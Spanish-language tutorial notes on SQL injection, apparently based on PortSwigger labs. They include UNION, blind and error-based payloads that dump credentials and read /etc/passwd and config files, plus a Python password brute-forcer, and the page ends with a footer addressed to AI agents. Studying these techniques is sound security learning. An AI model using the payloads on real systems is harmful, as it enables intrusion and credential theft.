# SQL Injections Esquema jerárquico de como funciona una BD

[CheatSheet SQL Injections](https://portswigger.net/web-security/sql-injection/cheat-sheet) ## **0. Cláusulas WHERE** > Una inyección SQL bien colocada en una cláusula WHERE permite acceder a datos que deberían estar ocultos. Es una de las formas más básicas y efectivas de explotación. Para ignorar el resto de una sentencia se puede comentar de estas 3 formas:

Para ver todos los datos "Productos" incluso los que estén ocultos

O lo que sería lo mismo:

Para un panel de login funciona igual. Por detrás está haciendo lo siguiente: > Las entradas del usuario nunca deben insertarse directamente en consultas SQL. Si lo hacen, pueden ser manipuladas para saltarse controles críticos como la autenticación. Como 1=1 es un booleano True, pues deja acceder. ``` select username from users where password = 'laquesea' or 1=1;-- -'; ```

## **1. Classic/Union-Based** Se usa `UNION SELECT` para combinar resultados de consultas maliciosas con la original. > El ataque UNION es útil para extraer datos arbitrarios de la base de datos, y conocer el motor y versión es fundamental para planificar un ataque eficaz. > Tenemos que intentar saber el número de columnas totales para jugar con UNION. #### Paso 1: Conocer nº columnas y versión > Conocer el motor de base de datos desde fuera es el primer paso para afinar futuras inyecciones y adaptar payloads según el sistema objetivo. Entonces probamos con una cantidad abismal para buscar el error **Unknow column 'nº' in 'order clause'**

Y vamos reduciendo hasta que no de fallo la página, lo que significa que ese es el número de columnas. Una vez sabemos el nº total de columnas podemos jugar ya con el **union select**. Vamos concatenando números en función del nº total de columnas, en este ejemplo solo hay 2 columnas.

En este otro hay 3 columnas, y hay que representar el total de campos correspondientes al total de columnas. En este caso a la web no le gusta con números, así que se pone con **NULL**.

Lo siguiente que podemos hacer es buscar que columna es la "vulnerable". En este caso la segunda columna es la vulnerable ya que no nos da un Server Internal Error.

Una vez sabemos esto, ya podemos empezar a enumerar **version, usuarios, contraseñas** etc. **Identificación de versión y motor de base de datos (MySQL y MSSQL)** Para identificar tanto el motor como la versión en MySQL y MSSQL tendremos que seguir la siguiente sintaxis. Si nos da la versión, ya sabremos que nos enfrentamos a MySQL. ``` ' union select NULL,@@version-- - ```

**Identificación de versión y motor de base de datos (Oracle)** En Oracle es obligatorio especificar una **tabla** para realizar la consulta. Las tablas más típicas son:

Y se vería reflejado en la web:

Si queremos conocer la versión, tenemos que utilizar otra tabla que es la **v$version**: ``` ' union select NULL,banner from v$version-- - ```

*** #### Paso 2: Enumerar DBs **MySQL** Usamos esta línea para enumerar las BD, NULL puede ser 1, 2 en función de la columna que te permita inyectar el código. En este ejemplo lo hacemos con NULL.

``` ' union select schema_name,NULL from information_schema.schemata-- - ``` Ponemos la línea y listamos las BD.

Hay casos que no nos muestra todas las BDs, ya sea porque no es capaz el sistema o porque directamente no las muestra. Para ello utilizamos **limit**. Hay que ir jugando con el primer valor, vamos incrementando de 1 en 1 para ir listando las BDs. ``` 'union select NULL,schema_name from information_schema.schemata limit 0,1-- - ```

Aunque podemos jugar con **group\_concat** para concatenar en el mismo campo separado por comas las distintas BDs. ``` ' union select NULL,group_concat(schema_name) from information_schema.schemata-- - ```

*** #### Paso 3: Enumerar tablas **Mysql** Con esta línea podemos enumerar **TODAS** las tablas de **TODAS** las BD, lo que puede llegar a ser lioso. ``` ' union select NULL,table_name from information_schema.tables-- - ```

Podemos crear el siguiente script para que muestre el nº que hay que usar con **limit** para que muestre exclusivamente esa tabla: ``` for i in $(seq 1 100); do echo "[+] Para el número $i: $(curl -s -X GET "http://ruta/file?loquesea=AQUÍ_VA_EL_UNION_SELECT%20limit%20$i,1--$20-" | grep "" | html2text)"; done ```

Para listar las tablas de una BD concreta (Ej: public): ``` ' union select NULL,table_name from information_schema.tables where table_schema='public'-- - ```

**Oracle** Para enumerar todas las tablas de una BD Oracle ejecutamos: ``` ' union select NULL,table_name from all_tables-- - ```

*** #### Paso 4: Enumerar columnas de una tabla específica **MySQL** Para listar todas las columnas de una tabla en específico de una base de datos. ``` ' union select NULL,column_name from information_schema.columns where table_schema='DB' and table_name='TABLA'-- - ```

**Oracle** En oracle, así enumeramos las columnas de una tabla en específico. ``` ' union select NULL,column_name from all_tab_columns where table_name='NOMBRE_TABLA'-- - ```

*** #### Paso 5: Enumerar datos de una columna **MySQL** Podemos mirar como concatenar de distintas formas columnas por si una no funciona. Para concatenar dos columnas, ej "Username : Password" lo podemos hacer así. ``` ' union select NULL,group_concat(columna1,':',columna2) from DB.TABLA-- - ``` ó ``` ' union select NULL,concat(columna1,':',columna2) from DB.TABLA-- - ``` Si no permite representar los dos puntos podríamos ponerlo en hexadecimal. ``` man ascii /: ```

``` ' union select NULL,group_concat(columna1,0x3a,columna2) from DB.TABLA-- - ``` Otra forma de hacer lo mismo: ``` ' union select NULL,columna1||':'||columna2 from DB.TABLA-- - ``` EJ: ``` ' union select NULL,username||':'||password from public.users-- - ```

Si aun así tampoco nos dejara, probamos con el campo de separación en hexadecimal. ``` ' union select NULL,columna1||'0x3a'||columna2 from DB.TABLA-- - ```

Si no permite representar la cadena en texto claro, podemos convertirla en hexadecimal. ``` echo "USUARIO" | tr -d '\n' | xxd -ps ```

``` ' union select NULL,password from users where username = '0x61646d696e6973747261646f72' ``` Es importante especificar la DB de donde queremos sacar los datos que puede que no esté en uso la BD por lo que no encontraría la data: ``` ' union select username,password from public.users-- - ``` **Oracle** Para enumerar los datos de una BD necesitamos el nombre de las columnas y el nombre de las tablas. Esta sería la sintaxis. ``` ' union select USERNAME_JJDVYT,PASSWORD_MUVHBD from USERS_MCQEVY-- - ```

*** #### Paso 6: Cargar archivos Para cargar archivos del sistema lo podemos hacer tal que así. Tenemos que ir jugando con distintos archivos que puedan tener información sensible. [Cargar archivos MySQL](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_load-file) ``` ' union select load_file('/var/www/html/config.php') -- - ``` *** ### Ejemplo de UNION attack con BurpSuite #### Paso 1: Probar secuencia básica y enviar a Burpsuite Probamos una secuencia sencilla y interceptamos la petición con Burpsuite.

Enviamos esta intercepción al **repeater**. Ahí empezamos a modificar la secuencia. Por ejemplo voy a intentar listar la versión. Aquí la separación va con el símbolo "+" #### Paso 2: Sacar Versión Pruebo a listar versión y me la lista. ``` '+union+select+@@version--+- ```

#### Paso 3: Enumerar las BDs Pruebo a enumerar las BD haciendo una concatenación. ``` '+union+select+group_concat(SCHEMA_NAME)+from+INFORMATION_SCHEMA.schemata--+- ```

#### Paso 4: Enumerar las tablas Pruebo a enumerar las tablas de una BD específica. ``` '+union+select+group_concat(table_name)+from+INFORMATION_SCHEMA.tables+where+table_schema='november'--+- ```

#### Paso 5: Enumerar columnas En este caso para saber de que tabla es cada columna he concatenado (TABLE\_NAME,':',COLUMN\_NAME) y podemos ver ya de que tabla es cada columna. ``` '+union+select+group_concat(TABLE_NAME,':',COLUMN_NAME)+from+INFORMATION_SCHEMA.columns+where+table_schema='november'--+- ```

#### Paso 6: Enumerar datos Con esta línea de comando podemos ver los datos de una columna en específico. ``` '+union+select+group_concat(player)+from+november.players--+-' ```

``` '+union+select+group_concat(one)+from+november.flag--+- ```

#### Paso 7: Enumerar archivos internos del sistema Así podemos enumerar archivos como el /etc/passwd ``` '+union+select+load_file('/etc/passwd')+--+- ```

O un archivo de configuración PHP donde puede haber credenciales. ``` '+union+select+load_file('/var/www/html/config.php')+--+- ```

*** ## **2. Blind Attack** > Las inyecciones ciegas permiten obtener datos críticos incluso sin mensajes de error ni respuestas visibles, solo interpretando pequeños cambios en el comportamiento de la aplicación. ### 2.1 Blind SQL injection with conditional responses > La aplicación no muestra datos de la BD, pero cambia su comportamiento según si la consulta devuelve TRUE o FALSE. #### Paso 1: Confirmar la vulnerabilidad Lo primero de todo es buscar una expresión booleana **False** para ver el comportamiento de la web. En este caso desaparece el mensaje **Welcome back!**

Si hacemos la expresión booleana **True** aparecerá por lo que confirmamos que ahí está la vulnerabilidad.

Para hacerlo más cómodo lo hacemos desde BurpSuite. Enviamos la Intercepción al Repeater.

Activamos esto para que haga un Auto-scroll cuando busquemos algo.

Podemos confirmar de nuevo la vulnerabilidad si sigue apareciendo el mensaje poniendo una expresión booleana correcta y si desaparece al poner una expresión errónea. Aparece:

Desaparece:

*** #### Paso 2: Encontrar número de columnas Conseguimos averiguar el nº de columnas existentes reduciendo con **order by** hasta que nos aparezca el mensaje que tiene la vulnerabilidad: En este caso vemos que no aparece el mensaje ya que no existen 3 columnas. Es **False**.

Aquí si aparece ya que solo existe 1 columna. Es **True**.

Vemos que haciendo un **union select** pero con el valor **NULL** también se sigue viendo ya que es **True**.

#### Paso 2.1: Encontrar columnas útiles Si existiera más de una columna, es crucial saber cuál es la vulnerable, por lo que hay que probar cambiando la posición hasta que aparezca el mensaje. ``` ' UNION SELECT NULL,NULL-- - ' UNION SELECT 'a',NULL-- - -- ¿Aparece "Welcome back"? ' UNION SELECT NULL,'a'-- - -- ¿Aparece "Welcome back"? ``` *** #### Paso 3: Encontrar tablas Podemos probar tablas típicas con esta sintaxis, si la tabla es existente, el valor booleano será True, por lo x = x y nos saldrá el mensaje.

*** #### Paso 4: Encontrar datos Para encontrar datos hacemos uso de **substrings**. Por ejemplo aquí vemos que existe el usuario administrator. ``` ' and (select substring(username,1,1) from users where username='administrator')='a'-- - ```

Una vez sabemos que existe el usuario administrator, vamos a averiguar la contraseña haciendo fuerza bruta carácter por carácter. En este caso conocemos que existe tanto la tabla **users** como las columnas **username** y **password**. > Ctrl + Space para ir más rápido ``` ' and (select substring(password,1,1) from users where username='administrator')='AQUI_PROBAMOS'-- - ```

Para automatizar este proceso podemos hacer fuerza bruta. **Ataque Sniper** Enviamos esto al Intruder

Elegimos el campo que queremos como campo de sustitución basado en un diccionario para hacer fuerza bruta.

Añadimos una lista desde la a-z y desde el 0-9.

Desactivamos la casilla de codificar los caracteres.

En settings nos vamos a Grep - Extract y pulsamos en Add.

Creamos una rejected adactada de modo que cuando el carácter sea correcto nos aparecerá el mensaje Welcome back!.

Vemos que el 4 es correcto por lo que tendríamos que ir 1 a 1 hasta conseguir entera la contraseña.

Ahora bien. Una vez averiguado el primer carácter. Buscaríamos el segundo y así sucesivamente.

``` ' and (select substring(password,1,1) from users where username='administrator')=''-- - ``` **Ataque con Python** Antes de nada vamos a averiguar la longitud de la contraseña o del valor que queremos. Descubrimos que tiene 20 caracteres. ``` ' and (select 'a' from users where username='administrator' and length(password)>10)='a'-- -' ```

Ahora creamos este script: ```python #!/usr/bin/env python3 from pwn import * from termcolor import colored import requests import sys import signal import string import time def def_handler(sig, frame): print(colored(f"\n[!]Saliendo...\n", 'red')) p1.failure("Ataque de fuerza bruta detenido") sys.exit(1) # Ctrl+C signal.signal(signal.SIGINT, def_handler) characters = string.ascii_lowercase + string.digits p1 = log.progress("SQLI") def makeSQLI(): p1.status("Iniciando ataque de fuerza bruta") time.sleep(2) password = "" p2 = log.progress("Password") for position in range(1, 21): for character in characters: cookies = { 'TrackingId': f"4ixToutWwT8k6lJG' and (select substring(password,{position},1) from users where username='administrator')='{character}'-- -", 'session': "tAmDljs87Vby4igdqzn0IB48mbf0Twqi" } p1.status(cookies["TrackingId"]) r = requests.get("https://0a9f00d904ca40eb8082539a000a00a4.web-security-academy.net", cookies=cookies) if "Welcome back" in r.text: password += character p2.status(password) break if __name__ == '__main__': makeSQLI() ``` Tenemos que añadir el valor de la cookie **TrackingId** y de la cookie **session**. Además poner el enlace de la web. Entonces va encontrando caracter a caracter hasta completar los 20 caracteres que tenía en este caso.

*** ### 2.2 Blind SQL injection with conditional errors > Aunque la aplicación no devuelva datos visibles ni mensajes directos, es posible extraer información sensible provocando errores intencionados y observando cómo responde el sistema. Este tipo de ataque es potente y silencioso. #### Paso 1: Confirmar la vulnerabilidad con error En este caso el motor es Oracle por lo que hay que especificar siempre una tabla. Nos fijamos por el código de estado **200** que esta consulta es correcta. si ponemos por ejemplo el nombre de la tabla mal vemos un **Server Internal Error**.

Cambiamos la tabla:

*** #### Paso 2: Encontrar tablas Para encontrar tablas existentes tenemos que fijarnos que el código es **500**. Importante poner el nombre de la tabla en mayúsculas. **Oracle** ``` '||(select case when(1=1) then to_char(1/0) else '' from user_tables where table_name='' and rownum=1)||' ``` Tabla existente:

Tabla no existente:

*** #### Paso 3: Encontrar columnas Para encontrar columnas es lo mismo, si existe pues será código de estado **500**, sino, pues será **200**. **Oracle** ``` '||(select case when(1=1) then to_char(1/0) else '' end from all_tab_columns where table_name='USERS' and column_name='' and rownum=1)||' ``` Existe:

No existe:

*** #### Paso 4: Encontrar datos En este caso si existe un usuario, tiene que dar un error **500**. Si el usuario no existe da un estado **200**. > Caso 1: Usuario EXISTE (administrator) > > * La subconsulta `FROM users WHERE username='administrator'` **devuelve una fila** > * Se ejecuta el `CASE WHEN(1=1)` que siempre es true > * Se ejecuta `TO_CHAR(1/0)` → **Error de división por cero** > * **Resultado: HTTP 500** > Caso 2: Usuario NO EXISTE (ej: 'nonexistent') > > * La subconsulta `FROM users WHERE username='nonexistent'` **no devuelve filas** > * El `SELECT CASE...` no se ejecuta sobre ninguna fila > * **No hay error** → Consulta continúa normalmente > * **Resultado: HTTP 200** **Oracle:** ``` '||(select case when(1=1) then to_char(1/0) else '' end from users where username='administrator')||' ``` Existe:

No existe:

Una vez sabemos que existe el usuario administrator, vamos a averiguar la contraseña. **Oracle** ``` '||(select case when lenght(password)= then to_char(1/0) else '' end from users where username='administrator')||' ``` Longitud incorrecta:

Longitud correcta:

Ahora probamos carácter por carácter: ``` '||(select case when substr(password,1,1)='AQUÍ PROBAMOS' then to_char(1/0) else '' end from users where username='administrator')||' ``` El primer carácter es un **8** en este ejemplo porque el código es **500**. Si sale **200** es que es incorrecto.

### 2.3 Visible Error-Bases SQL Continuará... --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://alv-fh.gitbook.io/alv-fh/web-attacks/sql-injections.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.